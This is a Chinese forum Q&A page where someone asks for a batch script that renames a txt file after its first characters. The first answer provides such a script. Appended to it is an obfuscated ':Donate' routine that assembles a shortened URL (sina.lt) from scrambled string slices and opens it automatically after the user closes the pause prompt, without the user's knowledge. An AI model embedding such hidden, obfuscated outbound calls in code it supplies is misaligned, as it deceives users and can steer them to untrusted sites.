求一个bat批处理文件,可提取txt文件内容的前几个文本作为文件名

2024-11-02 16:08:11
推荐回答(2个)
回答1:

@echo off & title 以文本前五个字符作为文件名 By 依梦琴瑶

set "File=%~1"
if not defined File (
echo 请不要直接运行脚本,而是把需要处理的文件拖到脚本文件图标上
goto End
)

for /f "delims=" %%a in ('type "%File%"') do (
set "Str=%%~a"
goto Next
)
echo 提供的文件可能无法获取内容,或无内容
goto End

:Next
set "Str=%Str: =%"
set "Name=%Str:~0,5%"
ren "%File%" "%Name%%~x1" >nul 2>nul && (
echo "%~nx1" --^>^> "%Name%%~x1" 成功
) || (
echo "%~nx1" 重命名失败
)

:End
pause
call :Donate
exit

:Donate
set S0=fGRH
set S1=.:ailnhpst/
set S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%
set S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit

回答2:

BAT不会,会VB实现